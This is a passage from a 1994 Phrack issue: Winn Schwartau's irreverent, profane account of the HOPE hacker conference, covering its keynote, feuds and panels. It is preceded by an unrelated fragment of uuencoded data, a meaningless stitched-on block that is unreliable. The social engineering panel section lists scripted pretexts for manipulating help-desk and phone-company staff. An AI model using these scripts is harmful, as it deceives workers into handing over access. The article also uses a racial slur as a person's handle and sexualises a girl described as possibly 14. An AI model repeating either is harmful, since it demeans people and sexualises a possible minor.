MRR0L<+D885DXQ7=3GSQN<DX\KL(%Q28Q^%:$ABCI0(ZCX<%?[<F$BED^QS<9!
M]JY^[3-TRCU(_6LE\;-/LE?%+MQ6I`H2M/P]X<N/$>H+96LD22$9!D)`_0&HI
MG-0BY/H5&/,[(]"T[X*V]JOF7]Z;E@`VQ`44#N,]3^E:]EI%IHY,5K;PQ``@Z
ME%P3CU/?\:\6IBY5[I:(]*G05+5[EW2=-DUI1)'Y<49X4]\^XQ_6M.#P=;&`2
M,[F5F!YD&1U].E9.7)H:;EL-!80^0(L%!DE>GX"JXG\R42/PZ'<K@9P/3%3JN
M%C:M--C+1W3;MTK!"=YP<G'W>@JY>:8Z,0\D1A&!L\O)_P"^L^WI67-<NUBM$
M'>R:/"QPC!FXPO3_`#ZU9MKZ6[C+2A#&5(V[3_CC'M1YA8U--B46J81(U!X\K
MM=OOTKB&O?L?C_4I\9:*R"+Q_>D_^M6E)[D3Z',ZY\44:Z:T^S22.'PRE51'5
M]B1DXK.?1;_4IVNE:TL$N'WD0;F)/OG`_2NR%)4DG+J92GSNR+</P_T_R7N)R
M&DN"G)\PXS]`.*T-)GN-`9K?3I3;IC+*G"G/MTJW5<U8CD4=2U<:C>74D:7#H
MK(X)P>GZXS21#SXRH[#O_P#6J-$AD<]Q%&LJE&4JI+$'/OQ6`+J;6IVAMI&MU
MH1P3N)8CG_"M81ZLENVA;C%OIT0BL80LAX,DG))]:W=%\*0PD7%XPN93R`?NV
DK]*<IN*OU81C<WEB"384D*!G;U%.GA<%2K#!)SG\JQB:`/_9Z
``
end
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 23 of 28
****************************************************************************
Cyber Christ Bites The Big Apple
HOPE - Hackers On Planet Earth,
New York City - August 13-14, 1994
(C) 1994 Winn Schwartau
by Winn Schwartau
(This is Part II of the ongoing Cyber Christ series. Part I,
"Cyber Christ Meets Lady Luck" DefCon II, Las Vegas, July 22-24,
1994 is available all over the 'Net.)
Las Vegas is a miserable place, and with a nasty cold no less; it
took me three weeks of inhaling salt water and sand at the beach
to finally dry up the post nasal drip after my jaunt to DefCon
II. My ears returned to normal so that I no longer had to answer
every question with an old Jewish man's "Eh?" while fondling my
lobes for better reception.
New York had to be better.
Emmanuel Goldstein -aka Eric Corely - or is it the other way
around? is the host of HOPE, Hackers on Planet Earth, a celebra
tion of his successfully publishing 2600 - The Hackers Quarterly
for ten years without getting jailed, shot or worse. For as
Congressman Ed Markey said to Eric/Emmanuel in a Congressional
hearing last year, and I paraphrase, 2600 is no more than a
handbook for hacking (comparable obviously to a terrorist hand
book for blowing up the World Trade Center) for which Eric/Emman
uel should be properly vilified, countenanced and then drawn and
quartered on Letterman's Stupid Pet Tricks.
Ed and Eric/Emmanuel obviously have little room for negotiation
and I frankly enjoyed watching their Congressional movie where
communication was at a virtual standstill: and neither side
understood the viewpoints or positions of the other.
But Ed is from Baaahhhsten, and Eric/Emmanuel is from New York,
and HOPE will take place in the Hotel Filthadelphia, straight
across the street from Pennsylvania Station in beautiful downtown
fast-food-before-they-mug-you 34th street, right around the
corner from clean-the-streets-its-Thanksgiving Herald Square.
Geography notwithstanding, HOPE promised to be a more iconoclas
tic gathering than that of DefCon II.
First off, to set the record straight, I am a New Yorker. No
matter that I escaped in 1981 for the sunny beaches of California
for 7 years, and then moved to the Great State of the Legally
Stupid for four more (Tennessee); no matter that I now live on
the Gulf Coast of Florida where the water temperature never dips
below a chilly 98 degrees; I am and always will be a New Yorker.
It took me the better part of a decade of living away from New
York to come to that undeniable and inescapable conclusion: Once
a New Yorker, always a New Yorker. Not that that makes my wife
any the happier.
"You are so rude. You love to argue. Confrontation is your
middle name." Yeah, so what's your point?
You see, for a true New Yorker these aren't insults to be re-
regurgitated at the mental moron who attempts to combat us in a
battle of wits yet enters the ring unarmed; these are mere tru
isms as seen by someone who views the world in black and white,
not black, white and New York.
Case in point.
I used to commute into Manhattan from the Westchester County
suburb of Ossining where I lived 47 feet from the walls of Sing
Sing prison (no shit!). Overlooking the wide expanse of the
Hudson River from my aerie several hundred feet above, the only
disquieting aspect of that location were the enormously deafening
thunderclaps which resounded a hundred and one times between the
cliffs on either side of the river. Then there was the occasion
al escapee-alarm from the prison. .
So, it was my daily New York regimen to take the 8:15 into the
city. If the train's on time I'll get to work by nine . . .
Grand Central Station - the grand old landmark thankfully saved
by the late Jackie O. - is the nexus for a few hundred million
commuters who congregate in New York Shitty for no other reason
that to collect a paycheck to afford blood pressure medicine.
You have to understand that New York is different. Imagine,
picture in your mind: nothing is so endearing as to watch thou
sands of briefcase carrying suits scrambling like ants in a Gary
Larson cartoon for the nearest taxi, all the while greeting their
neighbors with the prototypical New York G'day!
With both fists high in the air, middle fingers locked into erect
prominence, a cacophonous chorus of "Good Fucking Morning"
brightens the day of a true New Yorker. His bloodshot eyes
instantly clear, the blood pressure sinks by 50% and already the
first conflict of the day has been waged and won.
Welcome to the Big Apple, and remember never, ever, to say, "Have
a Nice Day." Oh, no. Never.
So HOPE was bound to be radically different from Vegas's DefCon
II, if only for the setting. But, I expected hard core. The
European contingent will be there, as will Israel and South
America and even the Far East. All told, I am told, 1000 or more
are expected. And again, as at DefCon II, I am to speak, but
Eric/Emmanuel never told me about what, when, or any of the other
niceties that go along with this thing we call a schedule.
* * * * *
God, I hate rushing.
Leaving Vienna at 3:15 for a 4PM Amtrak "put your life in their
hands" three hour trip to New York is not for the faint of heart.
My rented Hyundai four cylinder limousine wound up like a sewing
machine to 9,600 RPM and hydroplaned the bone dry route 66 into
the pot holed, traffic hell of Friday afternoon Washington, DC.
Twelve minutes to spare.
I made the 23 mile trip is something less than three minutes and
bounded into the Budget rental return, decelerated to impulse
power and let my brick and lead filled suitcase drop to the
pavement with a dent and a thud. "Send me the bill," I hollered
at the attendant. Never mind that Budget doesn't offer express
service like real car rental companies. "Just send me the bill!"
and I was off.
Eight minute to spare. Schlepp, schlepp. Heavy, heavy.
Holy shit! Look at the line for tickets and I had reservations.
"Is this the line for the four o'clock to New York?" Pant,
breathless.
"Yeah." She never looked up.
"Will they hold the train?"
"No." A resoundingly rude no at that. Panic gene takes over.
"What about the self-ticketing computer?" I said pointing at the
self ticketing computer.
"Do you have a reservation?"
"Yup." Maybe there is a God.
"Won't help you."
"What?"
Nothing.
"What do you mean won't help?"
"Computer's broken." Criminy! I have 4 minutes and here's this
over-paid over-attituded Amtrak employee who thinks she's the
echo of Whoopi Goldberg. "The line's over there."
Have you ever begged? I mean really begged? Well I have.
"Are you waiting for the four?" "Can I slip ahead?" "Are you in
a death defying hurry?" "I'll give you a dime for your spot in
line." "You are so pretty for 76, ma'am. Can I sneak ahead?"
Tears work. Two excruciating minutes to go. I bounced ahead of
everyone in a line the length of the Great Wall of China, got my
tickets and tore ass through Union Station The closing gate
missed me but caught the suitcase costing me yet more time as I
attempted to disgorge my now-shattered valise from the fork-lift-
like spikes which protect the trains from late-coming commuters.
The rubber edged doors on the train itself were kinder and gen
tler, but at this point, screw it. It was Evian and Fritos for
the next three hours.
* * * * *
Promises tend to be lies. The check is in the mail; Dan Quayle
will learn to spell; I won't raise taxes. I wonder about HOPE.
"It's going to be Bust Central," said one prominent hacker who
threatened me with electronic assassination if I used his name.
"Emmanuel will kill me." Apparently the authorities-who-be are
going to be there in force. "They want to see if Corrupt or any
of the MoD crew stay after dark, then Zap! Back to jail. (gig
gle, giggle.) I want to see that."
Will Mitnick show up? I'd like to talk to that boy. A thousand
hackers in one place and Eric/Emmanuel egging on the Feds to do
something stupid. Agent Steal will be there, or registered at
least, and half of the folks I know going are using aliases.
"I'd like a room please."
"Yessir. Name?"
"Monkey Meat."
"Is that your first or last name?"
"First."
"Last name?"
"Dilithium Crystal."
"Could you spell that?"
Now: I know the Hotel Pennsylvania. It used to be the high
class Statler Hilton until Mr. Hilton himself decided that the
place was beyond hope. "Sell it or scuttle it." They sold and
thus begat the hotel Filthadelphia. I stayed here once in 1989
and it was a cesspool then. I wondered why the Farsi-fluent
bellhop wouldn't tell me how bad the damage was from the fire
bombed 12th floor. The carpets were the same dingy, once upon a
time colorful, drab as I remembered. And, I always have a bit of
trouble with a hotel who puts a security check by the elevator
bank. Gives you the warm and fuzzies that make you want to come
back right away.
I saved $2 because none of the bell hops noticed I needed help,
but then again, it wouldn't have mattered for there was no way he
and I and my luggage were going to fit inside of what the hotel
euphemistically refers to as a 'room'. Closet would be kind but
still inaccurate. I think the word, ah, '$95 a night slum' might
still be overly generous. Let's try . . . ah ha! the room that
almost survived the fire bombing. Yeah, that's the ticket.
The walls were pealing. Long strips of yellowed antique wall
paper embellished the flatness of the walls as they curled to
wards the floor and windows. The chunks of dried glue decorated
the pastel gray with texture and the water stains from I know not
where slithered their way to the soggy carpet in fractal pat
terned rivulets. I stood in awe at early funk motif that the
Hotel Filthadelphia chose in honor of my attendance at HOPE.
But, no matter how bad my room was, at least it was bachelor
clean. (Ask your significant other what that means. . .)
In one hacker's room no bigger than mine I counted 13 sleeping
bags lying amongst the growing mold at the intersection of the
drenched wallboard and putrefying carpet shreds. (God, I love
going to hacker conferences! It's not that I like Hyatt's and
Hilton' all that much: I do prefer the smaller facilities, but, I
am sad to admit, clean counts at my age.). My nose did not have
to venture towards the floor to be aware that the Hotel Filtha
delphia was engaging in top secret exobiological government
experiments bent on determining their communicability and infec
tion factor.
The top floor of the Hotel Filthadelphia - the 18th - was the
place for HOPE, except the elevator door wouldn't open. The
inner door did, but even with the combined strength of my person
al crowbar (a New York defensive measure only; I never use it at
home) and three roughians with a bad case of Mexican Claustropho
bia, we never got the door open.
The guard in the lobby was a big help.
"Try again."
Damned if he didn't know his elevators and I emerged into the
pre-HOPE chaos of preparing for a conference.
About 100 hackers lounged around in varying forms of disarray -
Hey Rop!
Rop Gongrijjp editor of the Dutch Hacktic is a both a friend and
an occasional source of stimulating argument. Smart as a whip, I
don't always agree with him, though, the above-ground security
types ought to talk to him for a clear, concise and coherent
description of the whys and wherefores of hacking.
Hey Emmanuel! Hey Strat! Hey Garbage Heap! Hey Erikb! Hey to
lots of folks. Is that you Supernigger? And Julio? I was sur
prised. I knew a lot more of these guys that I thought I did.
Some indicted, some unindicted, some mere sympathizers and other
techno-freaks who enjoy a weekend with other techno-freaks.
Security dudes - get hip! Contact your local hacker and make
friends. You'll be glad you did.
>From behind - got me. My adrenaline went into super-saturated
mode as I was grabbed. I turned and it was . . . Ben. Ben is a
hugger. "I just wanted to hug you," he said sweetly but without
the humorous sexually deviant connotation that occurred during
Novocain's offer to let Phil Zimmerman sleep with him in Las
Vegas.
I smiled a crooked smile. "Yeah, right." Woodstock '94 was a
mere 120 miles away . . .maybe there was a psychic connection.
But Ben was being sincere. He was hugging everyone. Everyone.
At 17, he really believes that hugging and hacking are next to
Godliness. Boy does he have surprise coming the first time his
mortgage is late. Keep hugging while you have the chance, Ben.
Assorted cases of Zima (the disgusting Polish is-this-really-lime
flavored beer of choice by those without taste buds) appeared,
but anyone over the age of 21 drank Bud. What about the 12 year
olds drinking? And the 18 year olds? And the 16 year olds?
"Rop, I don't think you need to give the hotel an excuse to bust
you guys outta here." Me, fatherly and responsible? Stranger
things have happened. The beer was gone. I'm not a teetotaler,
but I didn't want my weekend going up in flames because of some
trashed 16 year old puking on an Irani ambassador in the lobby.
No reason to test fate.
* * * * *
Nothing worked, but that's normal.
Rop had set up HEU (Hacking at the End of the Universe) in
Holland last year with a single length of 800m ethernet. (That's
meter for the Americans: about 2625 ft.) HOPE, though was dif
ferent. The Hotel Filthadelphia's switchboard and phone systems
crashed every half hour or so which doesn't do a lot for the
health of 28.8 slip lines.
The object of the exercise was seemingly simple: plug together
about 20 terminals into a terminal server connected to Hope.Com
and let 'em go at it. Provide 'net access and, to the lucky
winner of the crack-the-hopenet server (root) the keys to a 1994
Corvette!
You heard it right! For breaking into root of their allegedly
secure server, the folks at 2600 are giving away keys to a 1994
Corvette. They don't know where the car is, just the keys. But
they will give you the car's last known location . . . or was it
$50 in cash?
Erikb - Chris Goggans - showed up late Friday night in disguise:
a baseball cap over his nearly waist length dirty blond hair.
"He's here!" one could hear being muttered. "He had the balls to
show up!" "He's gonna get his ass kicked to a pulp." "So you
did come . . . I was afraid they'd intimidated you to stay in
Texas."
No way! "Why tell the enemy what your plans are." Even the 50's-
something ex-amphetamine-dealer turned reseller of public-records
Bootleg didn't know Goggans was going to be there. But the
multiple fans of Erikb, (a strong resemblance to Cyber Christ if
he do say so himself) were a-mighty proud to see him.
This stunning Asian girl with skin too soft to touch (maybe she
was 14, maybe she was 25) looked at Erikb by the message board.
"You're," she pointed in disbelief "Erikb?" Chris nods, getting
arrogantly used to the respectful adulation. Yeah, that's me, to
which the lady/girl/woman instantly replied, "You're such an
asshole." Smile, wide smile, hug, kiss, big kiss. Erikb revels
in the attention and hundreds of horny hackers jealously look on.
Friday night was more of an experience - a Baba Ram Dass-like Be
Here Now experience - with mellow being the operative word. The
hotel had apparently sacrificed 20,000 square feet of its pent
house to hackers, but it was obvious to see they really didn't
give a damn if the whole floor got trashed. Ceiling panels
dripped from their 12 foot lofts making a scorched Shuttle under
belly look pristine. What a cesspool! I swear nothing had been
done to the decorative environs since the day Kennedy was shot.
But kudos to Emmanuel for finding a centrally located cesspool
that undoubtedly gave him one hell of a deal. I think it would be
a big mistake to hold a hacker conference at the Plaza or some
such snooty overly-self-indulgent denizen of the rich.
Filth sort of lends credibility to an event that otherwise seeks
notoriety.
I didn't want to take up too much of Emmanuel's and Rop's time -
they were in setup panic - so it was off to the netherworld until
noon. That's when a civilized Con begins.
* * * * *
I dared to go outside; it was about 11AM and I was in search of
the perfect New York breakfast: a greasy spoon that serves coffee
as tough as tree bark and a catatonia inducing egg and bacon
sandwich. Munch, munch, munch on that coffee.
I'd forgotten how many beggars hang out on the corner of 33rd and
7th, all armed with the same words, "how about a handout, Winn?"
How the hell do they know my name? "Whatever you give will come
back to you double and triple . . . please man, I gotta eat." It
is sad, but John Paul Getty I ain't.
As I munched on my coffee and sipped my runny egg-sandwich I
noticed that right in front of the runny-egg-sandwich place sat a
Ford Econoline van. Nice van. Nice phone company van. What are
they doing here? Oh, yeah, the hackers need lines and the switch
board is down. Of course, the phone company is here. But,
what's that? Hello? A Hacker playing in the phone van? I recog
nize you! You work with Emmanuel. How? He's robbing it. Not
robbing, maybe borrowing.
The ersatz telephone van could have fooled anyone - even me, a
color blind quasi-techno-weanie to yell "Yo! Ma Bell!" But, upon
not-too-closer inspection, the TPC (The Phone Company) van was in
fact a 2600 van - straight from the minds of Emmanuel and
friends. Impeccable! The telephone bell in a circle logo is, in
this case, connected via cable to a hacker at a keyboard. The
commercial plates add an additional air of respectability to the
whole image. It works.
* * * * *
Up to HOPE - egg sandwich and all.
The keynote speech was to be provided courtesy of the Man in
Blue. Scheduled for noon, things were getting off to a late
start. The media (who were there in droves, eat your heart out
CSI) converged on the MIB to see who and why someone of his
stature would (gasp!) appear/speak at a funky-downtown hotel
filled with the scourges of Cyberspace. I didn't see if Ben
hugged the MIB, but I would understand if he didn't. Few people
knew him or suspected what size of Jim-Carey-MASK arsenal might
suddenly appear if a passive hug were accidentally interpreted as
being too aggressive. The MIB is imposing and Ben too shy.
The media can ask some dumb questions and write some dumb arti
cles because they spend 12 1/2 minutes trying to understand an
entire culture. Can't do that fellows!
The MIB, though, knows hackers and is learning about them more
and more; and since he is respectable, the media asks him about
hackers. What are hackers? Why are YOU here, Mr. MIB?
"Because they have a lot to offer. They are the future," the Man
In Blue said over and over. Interview after interview - how time
flies when you're having fun - and the lights and cameras are
rolling from NBC and PIX and CNN and assorted other channels and
magazines. At 12:55 chaos had not settled down to regimented
disorganization and the MIB was getting antsy. After all, he was
a military man and 55 minutes off schedule: Egad! Take charge.
The MIB stood on a chair and hollered to the 700+ hacker phreaks
in the demonstration ballroom, "Hey! It's starting. Let's go the
theater and get rocking! Follow me." He leaned over to me: "Do
you know where the room is?"
"Sure, follow me."
"Everyone follow, c'mon," yelled the MIB. "I'm going to get
started in exactly three minutes," and three minutes he meant.
Despite the fact that I got lost in a hallway and had hundreds of
followers following my missteps and the MIB yelling at me for
getting lost in a room with only two doors, we did make the main
hall, and within 90 seconds he took over the podium and began
speaking.
"I bet you've always wanted to ask a spy a few questions. Here's
your chance. But let me say that the United States intelligence
community needs help and you guys are part of the solution." The
MIB was impeccably dressed in his pin stripe with only traces of
a Hackers 80 T-shirt leaking through his starched white dress
shirt. The MIB is no less than Robert Steele, ex-CIA type spy,
senior civilian in Marine Corps Intelligence and now the Presi
dent of Open Source Solutions, Inc.
He got these guys (and gals) going. Robert doesn't mince words
and that's why as he puts it, he's "been adopted by the hackers."
At his OSS conferences he has successfully juxtaposed hackers and
senior KGB officials who needed full time security during their
specially arranged 48 hour visa to Washington, DC. He brought
Emmanuel and Rop and clan to his show and since their agendas
aren't all that different, a camaraderie was formed.
Robert MIB Steele believes that the current intelligence machin
ery is inadequate to meet the challenges of today's world. Over
80% of the classified information contained with the Byzantine
bowels of the government is actually available from open sources.
We need to realize that the future is more of an open book than
ever before.
We classify newspaper articles from Peru in the incredibly naive
belief that only Pentagon spooks subscribe. We classify BBC
video tapes from the UK with the inane belief that no one will
watch it if it so stamped. We classify $4 Billion National
Reconnaissance Office satellite generated street maps of Calle,
Colombia when anyone with an IQ only slightly above a rock can
get the same one from the tourist office. And that's where
hackers come in.
"You guys are a national resource. Too bad everyone's so scared
of you." Applause from everywhere. The MIB knows how to massage
a crowd. Hackers, according to Steele, and to a certain extent I
agree, are the truth tellers "in a constellation of complex
systems run amok and on the verge of catastrophic collapse."
Hackers are the greatest sources of open source information in
the world. They have the navigation skills, they have the time,
and they have the motivation, Robert says. Hackers peruse the
edges of technology and there is little that will stop them in
their efforts. The intelligence community should take advantage
of the skills and lessons that the hackers have to teach us, yet
as we all know, political and social oppositions keep both sides
(who are really more similar then dissimilar) from talking.
"Hackers put a mirror up to the technical designers who have
built the networks, and what they see, they don't like. Hackers
have shown us all the chinks in the armor of a house without
doors or windows. The information infrastructure is fragile and
we had better do something about it now; before it's too late."
Beat them at their own game, suggests Steele. Keep the doors of
Cyberspace open, and sooner or later, the denizens of the black
holes of information will have to sooner or late realize that the
cat is out of the bag.
Steele educated the Hacker crowd in a way new to them: he treat
ed them with respect, and in turn he opened a channel of dialog
that few above ground suit-types have ever envisioned. Steele
works at the source.
HOPE had begun and Robert had set the tone.
* * * * *
The day was long. Dogged by press, hackers rolled over so the
reporters could tickle their stomachs on camera. Despite their
public allegations that the media screws it up and never can get
the story right, a camera is like a magnet. The New York Times
printed an article about HOPE so off the wall I wondered if the
reporter had actually been there. Nonetheless, the crowds fol
lowed the cameras, the cameras followed the crowds, and the
crowds parted like the Red Sea. But these were mighty colorful
crowds.
We all hear of that prototypical image of the acne faced, Jolt-
drinking, pepperoni downing nerdish teenager who has himself
locked in the un-air-conditioned attic of his parents' half
million dollar house from the time school gets out till the sun
rises. Wrongo security-breath. Yeah, there's that component, but
I was reminded of the '80's, the early '80's by a large percent
age of the crowd.
Purple hair was present but scarce, and I swear on a stack of
2600's that Pat from Saturday Night Live was there putting every
one's hormonal guess-machines to the test. But what cannot help
but capture one's attention is a 40 pin integrated circuit in
serted into the shaved side skull of an otherwise clean-cut
Mohawk haircut.
The story goes that Chip Head went to a doctor and had a pair of
small incisions placed in his skull which would hold the leads
from the chip. A little dab of glue and in a few days the skin
would grow back to hold the 40 pins in the natural way; God's
way.
There was a time that I thought ponytails were 'out' and passe,
but I thought wrong. Mine got chopped off in roughly 1976 down
to shoulder length which remained for another six years, but half
of the HOPE audience is the reason for wide spread poverty in the
hair salon industry.
Nothing wrong with long, styled, inventive, outrageous hair as
long as it's clean; and with barely an exception, such was the
case. In New York it's not too hard to be perceived as clean,
especially when you consider the frame of reference. Nothing is
too weird.
The energy level of HOPE was much higher than the almost lethar
gic (but good!) DefCon II. People move in a great hurry, perhaps
to convey the sense of importance to others, or just out of
frenetic hyperactivity. Hackers hunched over their keyboards -
yet with a sense of urgency and purpose. Quiet yet highly animat
ed conversations in all corners. HOPE staff endlessly pacing
throughout the event with their walkie-talkies glued to their
ears.
Not many suit types. A handful at best, and what about the Feds?
I was accosted a few times for being a Fed, but word spread: no
Fed, no bust. Where were the Feds? In the lobby. The typical
NYPD cop has the distinctive reputation of being overweight
especially when he wearing two holsters - one for the gun and one
for the Italian sausage. Perpetually portrayed as donut dunking
dodo's, some New York cops' asses are referred to as the Fourth
Precinct and a few actually moonlight as sofas.
So rather than make a stink, (NY cops hate to make a scene) the
lobby of the Hotel Filthadelphia was home to the Coffee Clutch
for Cops. About a half dozen of them made their profound
presence known by merely spending their day consuming mass quan
tities of questionable ingestibles, but that was infinitely
preferable to hanging out on the 18th floor. The hackers weren't
causing any trouble, the cops knew that, so why push it. Hackers
don't fight, they hack. Right?
After hours of running hours behind schedule, the HOPE conference
was in first place for disorganized, with DefCon II not far
behind. Only with 1000 people to keep happy and in the right
rooms, chaos reigns sooner. The free Unix sessions and Pager
session and open microphone bitch session and the unadulterated
true history of 2600 kept audiences of several hundred hankering
for more - hour after hour.
Over by the cellular hacking demonstrations, I ran into a hacker
I had written about: Julio, from the almost defunct Masters of
Destruction. Julio had gone state's evidence and was prepared to
testify against MoD ring leader Mark Abene (aka Phiber Optik) but
once Mark pled guilty to enough crimes to satisfy the Feds, Julio
was off the hook with mere probation. Good guy, sworn off of
hacking. Cell phones are so much more interesting.
However, while standing around with Erikb and a gaggle of Cyber
Christ wanna-bes, Julio and his friend (who was the size of Texas
on two legs) began a pushing match with Goggans. "You fucking
narc red-neck son of a bitch." Goggans helped build the case
against the MoD and didn't make a lot of friends in the process.
The shoving and shouldering reminded me of slam dancing from
decades past, but these kids are too young to have taken part in
the social niceties of deranged high speed propulsion and revul
sion on the dance floor. So it was a straight out pushing match,
which found Erikb doing his bloody best to avoid. Julio and pal
kept a'coming and Erikb kept avoiding. It took a dozen of us to
get in the middle and see that Julio was escorted to the eleva
tors.
Julio said Corrupt, also of the MoD, was coming down to HOPE,
too. Corrupt has been accused of mugging drug dealers to finance
his computer escapades, and was busted along with the rest of the
MoD gang. The implied threat was taken seriously, but, for
whatever reason, Corrupt never showed. It is said that the
majority of the hacking community distances itself from him; he's
not good for the collective reputation. So much for hacker
fights. All is calm.
The evening sessions continued and continued with estimates of as
late as 4AM being bandied about. Somewhere around 1:00AM I ran
into Bootleg in the downstairs bar. Where was everybody? Not
upstairs. Not in the bar. I saw a Garbage Heap in the street
outside (now that's a double entendre) and then Goggans popped up
from the door of the Blarney Stone, a syndicated chain of low-
class Irish bars that serve fabulously thick hot sandwiches.
"We're about to get thrown out."
"From the Blarney Stone? That's impossible. Drunks call the
phone booths home!"
Fifty or so hacker/phreaks had migrated to the least likely, most
anachronistic location one could imagine. A handful of drunken
sots leaning over their beers on a stain encrusted wooden breed
ing ground for salmonella. A men's room that hasn't seen the
fuzzy end of a brush for the best part of a century made Turkish
toilets appear refreshingly clean. And they serve food here.
I didn't look like a hacker so I asked the bartender, "Big crowd,
eh?"
The barrel chested beer bellied barman nonchalantly replied,
"nah. Pretty usual." He cleaned a glass so thoroughly the water
marks stood out plainly.
"Really? This much action on a Saturday night on a dark side
street so questionably safe that Manhattan's Mugger Society posts
warnings?"
"Yup."
"So," I continued. "These hackers come here a lot?"
"Sure do," he said emphatically.
"Wow. I didn't know that. So this is sort of a hacker bar, you
might say?"
"Exactly. Every Saturday night they come in and raise a little
hell."
With a straight face I somehow managed to thank the confused
barman for his help and for the next four hours learned that
socially, hackers of today are no different than many if not most
of us were in our late teens ad early twenties. We laughed and
joked and so do they - but there is more computer talk. We
decried the political status of our day as they do theirs, albeit
they with less fervor and more resignation. The X-Generation
factor: most of them give little more than a tiny shit about
things they view as being totally outside their control, so why
bother. Live for today.
Know they enemy. Robert hung in with me intermingling and argu
ing and debating and learning from them, and they from us.
Hackers aren't the enemy - their knowledge is - and they are not
the exclusive holders of that information. Information Warfare
is about capabilities, and no matter who possesses that capabili
ty, there ought to be a corresponding amount respect.
Indeed, rather than adversaries, hackers could well become gov
ernment allies and national security assets in an intense inter
national cyber-conflict. In the LoD/MoD War of 1990-91, one
group of hackers did help authorities. Today many hackers assist
professional organizations, governments in the US and overseas -
although very quietly. 'Can't be seen consorting with the
enemy.' Is hacking from an Army or Navy or NATO base illegal?
Damned if I know, but more than one Cyber Christ-like character
makes a tidy sum providing hands-on hacking education to the
brass in Europe.
Where these guys went after 5AM I don't know, but I was one of
the first to be back at the HOPE conference later that day; 12:30
PM Sunday.
* * * * *
The Nazi Hunters were out in force.
"The Neo-Nazi skinheads are trying to start another Holocaust." A
piercing, almost annoying voice stabbed right through the crowds.
"Their racist propaganda advocates killing Jews and blacks. They
have to be stopped, now."
Mortechai Levy (I'll call him Morty) commanded the attention of a
couple dozen hackers. Morty was a good, emotional, riveting
shouter. "These cowardly bastards have set up vicious hate call
lines in over 50 cities. The messages advocate burning syna
gogues, killing minorities and other violence. These phones have
to be stopped!"
The ever-present leaflet from Morty's Jewish Defense Organization
asked for help from the 2600 population.
"Phone freaks you must use your various assorted bag of
tricks to shut these lines down. No cowardly sputterings
about 'free speech' for these fascist scum."
The headline invited the hacker/phreak community to:
"Let's Shut Down 'Dial-A-Nazi'!!!"
Morty was looking for political and technical support from a band
of nowhere men and women who largely don't know where they're
going much less care about an organized political response to
someone elses cause. He wasn't making a lot of headway, and he
must have know that he would walk right into the anarchist's
bible: the 1st amendment.
The battle lines had been set. Morty wanted to see the Nazis
censored and hackers are absolute freedom of speechers by any
measure. Even Ben sauntering over for a group hug did little to
defuse the mounting tension.
I couldn't help but play mediator. Morty was belligerently loud
and being deafeningly intrusive which affected the on-going ses
sions. To tone it down some, we nudged Morty and company off to
the side and occupied a corner of thread bare carpet, leaning
against a boorish beige wall that had lost its better epidermis.
The heated freedom of speech versus the promotion of racial
genocide rancor subdued little even though we were all buns side
down. I tried to get a little control of the situation.
"Morty. Answer me this so we know where you're coming from. You
advocate the silencing of the Nazis, right?
"They're planning a new race war; they have to be stopped."
"So you want them silenced. You say their phones should be
stopped and that the hackers should help."
"Call that number and they'll tell you that Jews and blacks
should be killed and then they . . ."
"Morty. OK, you want to censor the Nazis. Yes or No."
"Yes."
"OK, I can understand that. The question really is, and I need
your help here, what is the line of censorship that you advocate.
Where is your line of legal versus censored?"
A few more minutes of political diatribe and then he got to the
point. "Any group with a history of violence should be censored
and stopped." A little imagination and suddenly the whole planet
is silenced. We need a better line, please. "Hate group, Nazis,
people who advocate genocide . . . they should be
silenced . . . ."
"So," I analyzed. "You want to establish censorship criteria
based upon subjective interpretation. Whose interpretation?"
My approach brought nods of approval.
One has to admire Morty and his sheer audacity and tenacity and
how much he strenuously and single-mindedly drives his points
home. He didn't have the ideal sympathetic audience, but he
wouldn't give an inch. Not an inch. A little self righteousness
goes a long way; boisterous extremism grows stale. It invites
punitive retorts and teasing, or in counter-culture jargon,
"fucking with their heads."
Morty (perhaps for justifiable reasons) was totally inflexible
and thus more prone to verbal barbing. "You're just a Jewish
racist. Racism in reverse," accused one jocular but definitely
lower middle class hacker with an accent thicker than all of
Brooklyn.
Incoming Scuds! Look out! Morty went nuts and as they say,
freedom of speech ends when my fists impacts upon your nose.
Morty came dangerously close to crossing that line. Whoah,
Morty, whoah. He's just fucking with your head. The calm-down
brigade did its level best to keep these two mortals at opposite
ends of the room.
"You support that Neo Nazi down there; you're as bad as the
rest!" Morty said. "See what I have to tolerate. I know him,
we've been keeping track of him and he hangs out with the son of
the Grand Wizard of Nazi Oz." The paranoid train got on the
tracks.
"Do you really know the Big Poo-bah of Hate?" I asked the hacker
under assault and now under protective custody.
"Yeah," he said candidly. "He's some dick head who hates every
one. Real jerk."
"So what about you said to Morty over there?"
"Just fucking with his head. He gets a little extreme." So we
had in our midst the Al Sharpton of the Jewish faith. Ballsy.
Since Morty takes Saturday's off by religious law, he missed the
press cavalcade, but as a radical New York fixture, the media
probably didn't mind too much.
I was off to sessions, Morty found new audiences as they came off
the elevators, and the band played on.
* * * * *
In my humble 40-something opinion, the best session of HOPE was
the one on social engineering.
The panel consisted of only Emmanuel, Supernigger (social engi
neer par excellence) and Cheshire Catalyst. The first bits were
pretty staid dry conventional conference (ConCon) oriented, but
nonetheless, not the kind of info that you expect to find William
H. Murray, Executive Consultant handing out.
The best social engineers make friends of their victims. Remem
ber: you're playing a role. Think Remington Steele.
Schmooze! "Hey, Jack did you get a load of the blond on Stern
last night?"
Justifiable anger: "Your department has caused nothing but head
aches. These damn new computers/phones/technology just don't
work like the old ones. Now either you help me now or I'm going
all the way to Shellhorn and we'll what he says about these kinds
of screwups." A contrite response is the desired effect.
Butt headed bosses: "Hey, my boss is all over my butt, can you
help me out?"
Management hatred: "I'm sitting here at 3PM working while man
agement is on their yachts. Can you tell me . . .?"
Giveaways: "Did you know that so and so is having an affair with
so and so? It's true, I swear. By the way, can you tell me how
to . . ."
Empathy: "I'm new, haven't been to the training course and they
expect me to figure this out all by myself. It's not fair."
Thick Accent: "Hi. Dees computes haf big no wurk. Eet no makedah
passurt. Cunu help? Ah, tanku." Good for a quick exchange and a
quick good-bye. Carefully done, people want you off the phone
quickly.
Billsf, the almost 40 American phreak who now calls Amsterdam
home was wiring up Supernigger's real live demonstration of
social engineering against Sprint. A dial tone came over the PA
system followed by the pulses to 411.
"Directory Assistance," the operator's male voice was squeezed
into a mere three kilohertz bandwidth.
Suddenly, to the immense pleasure of the audience, an ear-split
ting screech a thousand times louder than finger nails on a chalk
board not only belched across the sound system but caused instant
bleeding in the ears of the innocent but now deaf operator. .
Billsf sheepishly grinned. "Just trying to wire up a mute
button."
Three hundred people in unison responded: "It doesn't work." No
shit.
While Billsf feverishly worked to regain his reputation, Super
nigger explained what he was going to do. The phone companies
